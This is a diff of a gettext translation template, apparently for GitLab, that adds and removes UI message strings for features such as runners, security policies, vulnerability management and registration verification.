@@ -26997,6 +27445,48 @@ msgstr ""
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
+msgid "ProjectQualitySummary|An error occurred while trying to fetch project quality statistics"
+msgstr ""
+
+msgid "ProjectQualitySummary|Coverage"
+msgstr ""
+
+msgid "ProjectQualitySummary|Failure"
+msgstr ""
+
+msgid "ProjectQualitySummary|Latest pipeline results"
+msgstr ""
+
+msgid "ProjectQualitySummary|Learn more about test coverage"
+msgstr ""
+
+msgid "ProjectQualitySummary|Learn more about test reports"
+msgstr ""
+
+msgid "ProjectQualitySummary|Measure of how much of your code is covered by tests."
+msgstr ""
+
+msgid "ProjectQualitySummary|See full report"
+msgstr ""
+
+msgid "ProjectQualitySummary|See project Code Coverage Statistics"
+msgstr ""
+
+msgid "ProjectQualitySummary|Skipped"
+msgstr ""
+
+msgid "ProjectQualitySummary|Success"
+msgstr ""
+
+msgid "ProjectQualitySummary|Test coverage"
+msgstr ""
+
+msgid "ProjectQualitySummary|Test runs"
+msgstr ""
+
+msgid "ProjectQualitySummary|The percentage of tests that succeed, fail, or are skipped."
+msgstr ""
+
msgid "ProjectSelect| or group"
msgstr ""
@@ -27360,6 +27850,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27384,6 +27877,9 @@ msgstr ""
msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27825,6 +28321,9 @@ msgstr ""
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27918,9 +28417,6 @@ msgstr ""
msgid "Promotions|This feature is locked."
msgstr ""
-msgid "Promotions|Track activity with Contribution Analytics."
-msgstr ""
-
msgid "Promotions|Try it for free"
msgstr ""
@@ -27933,9 +28429,6 @@ msgstr ""
msgid "Promotions|Upgrade your plan to activate Audit Events."
msgstr ""
-msgid "Promotions|Upgrade your plan to activate Contribution Analytics."
-msgstr ""
-
msgid "Promotions|Upgrade your plan to activate Group Webhooks."
msgstr ""
@@ -27960,9 +28453,6 @@ msgstr ""
msgid "Promotions|When you have a lot of issues, it can be hard to get an overview. By adding a weight to your issues, you can get a better idea of the effort, cost, required time, or value of each, and so better manage them."
msgstr ""
-msgid "Promotions|With Contribution Analytics you can have an overview for the activity of issues, merge requests, and push events of your organization and its members."
-msgstr ""
-
msgid "Promotions|You can restrict access to protected branches by choosing a role (Maintainers, Developers) as well as certain users."
msgstr ""
@@ -28092,6 +28582,9 @@ msgstr ""
msgid "ProtectedBranch|What are protected branches?"
msgstr ""
+msgid "ProtectedBranch|default"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -28134,6 +28627,9 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
+msgid "ProtectedTags|default"
+msgstr ""
+
msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
@@ -28149,6 +28645,9 @@ msgstr ""
msgid "ProtectedTag|What are protected tags?"
msgstr ""
+msgid "ProtectedTag|default"
+msgstr ""
+
msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
@@ -28562,9 +29061,6 @@ msgstr ""
msgid "Regenerate instance ID"
msgstr ""
-msgid "Regenerate key"
-msgstr ""
-
msgid "Regenerate recovery codes"
msgstr ""
@@ -28607,6 +29103,45 @@ msgstr ""
msgid "Registration Features include:"
msgstr ""
+msgid "RegistrationFeatures|Enable Service Ping and register for this feature."
+msgstr ""
+
+msgid "RegistrationFeatures|Read more about the %{linkStart}Registration Features Program%{linkEnd}."
+msgstr ""
+
+msgid "RegistrationFeatures|Want to use this feature for free?"
+msgstr ""
+
+msgid "RegistrationVerification|Are you sure you want to skip this step?"
+msgstr ""
+
+msgid "RegistrationVerification|Enable free CI/CD minutes"
+msgstr ""
+
+msgid "RegistrationVerification|GitLab will not charge your card, it will only be used for validation."
+msgstr ""
+
+msgid "RegistrationVerification|Pipelines using shared GitLab runners will fail until you validate your account."
+msgstr ""
+
+msgid "RegistrationVerification|Skip this for now"
+msgstr ""
+
+msgid "RegistrationVerification|To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method, such as a debit or credit card. Until then, you can't use free CI/CD minutes to build your application."
+msgstr ""
+
+msgid "RegistrationVerification|Validate account"
+msgstr ""
+
+msgid "RegistrationVerification|Verify your identity"
+msgstr ""
+
+msgid "RegistrationVerification|Yes, I'd like to skip"
+msgstr ""
+
+msgid "RegistrationVerification|You can alway verify your account at a later time."
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -28741,6 +29276,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28780,6 +29318,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28924,10 +29468,10 @@ msgstr ""
msgid "Removed upload with id %{id}"
msgstr ""
-msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
+msgid "RemovedProjects|No projects pending deletion found"
msgstr ""
-msgid "RemovedProjects|You haven’t removed any projects."
+msgid "RemovedProjects|Projects that are pending deletion that you have access to are listed here."
msgstr ""
msgid "Removes %{assignee_text} %{assignee_references}."
@@ -28993,6 +29537,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29017,6 +29564,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29476,6 +30026,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29602,6 +30155,9 @@ msgstr ""
msgid "Resync"
msgstr ""
+msgid "Retrieving the compliance report failed. Please refresh the page and try again."
+msgstr ""
+
msgid "Retry"
msgstr ""
@@ -29611,6 +30167,12 @@ msgstr ""
msgid "Retry migration"
msgstr ""
+msgid "Retry the downstream pipeline"
+msgstr ""
+
+msgid "Retry the trigger job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -29807,9 +30369,6 @@ msgstr ""
msgid "Runners|Architecture"
msgstr ""
-msgid "Runners|Are you sure you want to delete this runner?"
-msgstr ""
-
msgid "Runners|Associated with one or more projects"
msgstr ""
@@ -29831,6 +30390,12 @@ msgstr ""
msgid "Runners|Copy registration token"
msgstr ""
+msgid "Runners|Delete runner"
+msgstr ""
+
+msgid "Runners|Delete runner %{name}?"
+msgstr ""
+
msgid "Runners|Deploy GitLab Runner in AWS"
msgstr ""
@@ -29888,6 +30453,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No contact from this runner in over 3 months"
+msgstr ""
+
msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
msgstr ""
@@ -29903,6 +30471,9 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
@@ -29945,6 +30516,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner %{name} was deleted"
+msgstr ""
+
msgid "Runners|Runner ID"
msgstr ""
@@ -29990,6 +30564,9 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Stale"
+msgstr ""
+
msgid "Runners|Status"
msgstr ""
@@ -29999,6 +30576,9 @@ msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|The runner will be permanently deleted and no longer available for projects or groups in the instance. Are you sure you want to continue?"
+msgstr ""
+
msgid "Runners|This runner has never connected to this instance"
msgstr ""
@@ -30059,6 +30639,9 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr ""
@@ -30083,6 +30666,9 @@ msgstr ""
msgid "Runners|specific"
msgstr ""
+msgid "Runners|stale"
+msgstr ""
+
msgid "Running"
msgstr ""
@@ -30155,21 +30741,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30546,6 +31117,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30570,6 +31144,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30633,7 +31210,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30705,6 +31282,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30714,6 +31294,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30723,6 +31306,9 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} and %{lastBranch} %{plural}"
msgstr ""
+msgid "SecurityOrchestration|.yaml preview"
+msgstr ""
+
msgid "SecurityOrchestration|Action"
msgstr ""
@@ -30738,6 +31324,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30771,6 +31363,9 @@ msgstr ""
msgid "SecurityOrchestration|New policy"
msgstr ""
+msgid "SecurityOrchestration|No rules defined - policy will not run."
+msgstr ""
+
msgid "SecurityOrchestration|Only owners can update Security Policy Project"
msgstr ""
@@ -30807,7 +31402,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30816,6 +31414,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30837,13 +31438,16 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
-msgid "SecurityOrchestration|Update scan execution policies"
+msgid "SecurityOrchestration|Unlink project"
msgstr ""
-msgid "SecurityOrchestration|view results"
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
msgstr ""
-msgid "SecurityOrhestration|No rules defined - policy will not run."
+msgid "SecurityOrchestration|Update scan execution policies"
+msgstr ""
+
+msgid "SecurityOrchestration|view results"
msgstr ""
msgid "SecurityPolicies|+%{count} more"
@@ -31056,6 +31660,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The Composition Analysis group is planning significant updates to how we make available the list of software and container dependency information in your projects. Therefore, we ask that you assist us by taking a short -no longer than 5 minute- survey to help align our direction with your needs."
+msgstr ""
+
msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -31089,6 +31696,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31128,6 +31738,9 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
+msgid "SecurityReports|Your feedback is important to us! We will ask again in 7 days."
+msgstr ""
+
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
@@ -31227,6 +31840,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31551,6 +32167,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31880,15 +32499,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
msgid "Shimo|Link to a Shimo Workspace from the sidebar."
msgstr ""
msgid "Shimo|Shimo"
msgstr ""
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
msgid "Shimo|Shimo Workspace URL"
msgstr ""
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -32322,6 +32953,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32406,9 +33043,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32466,6 +33100,9 @@ msgstr ""
msgid "Something went wrong while updating assignees"
msgstr ""
+msgid "Something went wrong while updating work item. Please try again"
+msgstr ""
+
msgid "Something went wrong while updating your list settings"
msgstr ""
@@ -32883,9 +33520,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33030,6 +33664,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33060,6 +33697,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33081,6 +33721,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33096,6 +33742,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33297,6 +33946,12 @@ msgstr ""
msgid "Subscription successfully deleted."
msgstr ""
+msgid "SubscriptionBanner|Export license usage file"
+msgstr ""
+
+msgid "SubscriptionBanner|Upload new license"
+msgstr ""
+
msgid "SubscriptionTable|Add seats"
msgstr ""
@@ -34081,10 +34736,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34372,6 +35027,9 @@ msgstr ""
msgid "The compliance report captures merged changes that violate compliance best practices."
msgstr ""
+msgid "The compliance report shows the merge request violations merged in protected environments."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -34494,9 +35152,6 @@ msgstr ""
msgid "The group and its projects can only be viewed by members."
msgstr ""
-msgid "The group can be fully restored"
-msgstr ""
-
msgid "The group export can be downloaded from:"
msgstr ""
@@ -34506,9 +35161,6 @@ msgstr ""
msgid "The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. You can %{leave_group_links}."
msgstr ""
-msgid "The group will be placed in 'pending deletion' state"
-msgstr ""
-
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
@@ -34836,9 +35488,6 @@ msgstr ""
msgid "There are no issues with the selected labels"
msgstr ""
-msgid "There are no labels yet"
-msgstr ""
-
msgid "There are no matching files"
msgstr ""
@@ -35184,6 +35833,9 @@ msgstr ""
msgid "This GitLab instance is undergoing maintenance and is operating in read-only mode."
msgstr ""
+msgid "This PDF is too large to display. Please download to view."
+msgstr ""
+
msgid "This Project is currently archived and read-only. Please unarchive the project first if you want to resume Pull mirroring"
msgstr ""
@@ -35196,9 +35848,6 @@ msgstr ""
msgid "This action cannot be undone, and will permanently delete the %{key} SSH key"
msgstr ""
-msgid "This action has been performed too many times. Try again later."
-msgstr ""
-
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all related resources, including issues and merge requests."
msgstr ""
@@ -35223,6 +35872,9 @@ msgstr ""
msgid "This application will be able to:"
msgstr ""
+msgid "This archive has been requested too many times. Try again later."
+msgstr ""
+
msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{count} %{issuables} have been included. Consider re-exporting with a narrower selection of %{issuables}."
msgstr ""
@@ -35277,12 +35929,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35343,6 +35989,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group and its subgroups and projects will be placed in a 'pending deletion' state for %{deletion_adjourned_period} days, then permanently deleted on %{date}. The group can be fully restored before that date."
+msgstr ""
+
msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
msgstr ""
@@ -35409,6 +36058,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35505,6 +36157,9 @@ msgstr ""
msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
msgstr ""
+msgid "This job triggers a downstream pipeline"
+msgstr ""
+
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -35544,9 +36199,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35691,7 +36343,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36220,6 +36872,9 @@ msgstr ""
msgid "To receive alerts from manually configured Prometheus services, add the following URL and Authorization key to your Prometheus webhook config file. Learn more about %{linkStart}configuring Prometheus%{linkEnd} to send alerts to GitLab."
msgstr ""
+msgid "To renew, export your license usage file and email it to %{renewal_service_email}. A new license will be emailed to the email address registered in the %{customers_dot}. You can upload this license to your instance."
+msgstr ""
+
msgid "To resolve this, try to:"
msgstr ""
@@ -36235,6 +36890,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36451,9 +37109,15 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
+msgid "Transfer group to another parent group."
+msgstr ""
+
msgid "Transfer ownership"
msgstr ""
@@ -36987,6 +37651,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37071,9 +37738,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37227,6 +37891,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37236,9 +37903,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
-msgstr ""
-
msgid "Upstream"
msgstr ""
@@ -37248,9 +37912,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37305,12 +37966,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37326,6 +37981,9 @@ msgstr ""
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37338,9 +37996,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37419,9 +38074,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -38142,6 +38794,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38166,6 +38830,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38178,6 +38845,9 @@ msgstr ""
msgid "View all issues"
msgstr ""
+msgid "View blame"
+msgstr ""
+
msgid "View blame prior to this change"
msgstr ""
@@ -38201,6 +38871,9 @@ msgstr ""
msgid "View documentation"
msgstr ""
+msgid "View downstream pipeline"
+msgstr ""
+
msgid "View eligible approvers"
msgstr ""
@@ -38230,6 +38903,12 @@ msgstr ""
msgid "View group labels"
msgstr ""
+msgid "View incident details at"
+msgstr ""
+
+msgid "View incident details."
+msgstr ""
+
msgid "View incident issues."
msgstr ""
@@ -38263,6 +38942,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38319,6 +39001,9 @@ msgstr ""
msgid "Viewing commit"
msgstr ""
+msgid "Violation"
+msgstr ""
+
msgid "Visibility"
msgstr ""
@@ -38373,6 +39058,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38397,12 +39085,21 @@ msgstr ""
msgid "VulnerabilityManagement|%{statusStart}Resolved%{statusEnd} %{timeago} by %{user}"
msgstr ""
+msgid "VulnerabilityManagement|A removed or remediated vulnerability"
+msgstr ""
+
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|A verified true-positive vulnerability"
+msgstr ""
+
msgid "VulnerabilityManagement|Add vulnerability finding"
msgstr ""
+msgid "VulnerabilityManagement|An unverified non-confirmed finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38412,9 +39109,6 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
-msgstr ""
-
msgid "VulnerabilityManagement|Fetching linked Jira issues"
msgstr ""
@@ -38430,6 +39124,12 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
+msgid "VulnerabilityManagement|Select a method"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38454,9 +39154,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38469,10 +39175,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38493,9 +39199,18 @@ msgstr ""
msgid "Vulnerability|Additional Info"
msgstr ""
+msgid "Vulnerability|Bug Bounty"
+msgstr ""
+
+msgid "Vulnerability|CVSS v3"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
+msgid "Vulnerability|Code Review"
+msgstr ""
+
msgid "Vulnerability|Comments"
msgstr ""
@@ -38511,21 +39226,33 @@ msgstr ""
msgid "Vulnerability|Description"
msgstr ""
+msgid "Vulnerability|Details"
+msgstr ""
+
msgid "Vulnerability|Detected"
msgstr ""
+msgid "Vulnerability|Detection method"
+msgstr ""
+
msgid "Vulnerability|Download"
msgstr ""
msgid "Vulnerability|Evidence"
msgstr ""
+msgid "Vulnerability|External Security Report"
+msgstr ""
+
msgid "Vulnerability|False positive detected"
msgstr ""
msgid "Vulnerability|File"
msgstr ""
+msgid "Vulnerability|GitLab Security Report"
+msgstr ""
+
msgid "Vulnerability|Identifier"
msgstr ""
@@ -38535,6 +39262,9 @@ msgstr ""
msgid "Vulnerability|Image"
msgstr ""
+msgid "Vulnerability|Information related how the vulnerability was discovered and its impact to the system."
+msgstr ""
+
msgid "Vulnerability|Links"
msgstr ""
@@ -38559,6 +39289,15 @@ msgstr ""
msgid "Vulnerability|Scanner Provider"
msgstr ""
